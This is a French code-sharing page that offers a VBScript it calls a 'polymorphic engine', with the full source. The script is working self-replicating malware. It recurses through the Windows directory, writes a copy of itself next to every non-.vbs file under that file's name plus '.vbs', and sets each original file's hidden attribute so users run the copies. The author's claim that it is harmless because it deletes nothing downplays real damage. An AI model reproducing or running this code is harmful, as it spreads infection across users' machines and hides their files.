Moteur polymorphe vbscript

Commenter

Contenu du snippet

Voilà voilà un beau petit moteur polymorphe en vbscript. J'ausais pas trop le mettre sur le site parce que j'aime pas les mauvais commentaires.. Mais voilà, je l'ai fais quand même! Alors il est assé simple à comprendre. Il recherche tous les fichiers des dossier et sous-dossiers de windows puis une fois qu'il les a trouvé, il fait une copie de lui même avec le nom du fichier trouver + .vbs et ensuite il cache le fichier source. Donc, si vous le lancez par erreur, pas de panique! Le polymorphe ne détrui aucun fichier dans le système, il ne fait que faire une copie de lui-même.

Source / Exemple : 


'Coded by SnakeUnion.com
Set Fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set File = fso.OpenTextFile(WScript.ScriptFullName, 1)
Set Afolder=FSO.GetFolder(WINDIR)
WINDIR = Fso.GetSpecialFolder(0)
vbscopy = File.ReadAll
Recherche AFolder
Function Recherche (ByRef AFolder)
For Each AFile In AFolder.Files
If Not UCase(FSO.GetExtensionName(AFile.Path)) = "VBS" Then
Set VBS = fso.CreateTextFile(AFile & ".vbs", True)
VBS.write vbscopy
VBS.Close
Set Att = fso.GetFile(AFile.Path)
Att.Attributes = Att.Attributes + 2
End if
Next
For Each SubF In AFolder.SubFolders
Recherche SubF
Next
End Function
'End

Conclusion :


SnakeUnion.com, ouvert dès le 10 Janvier
Programmation VB :: VBS :: Delphi :: PHP :: CSS :: PSM

A voir également

Du même auteur (cs_wbr)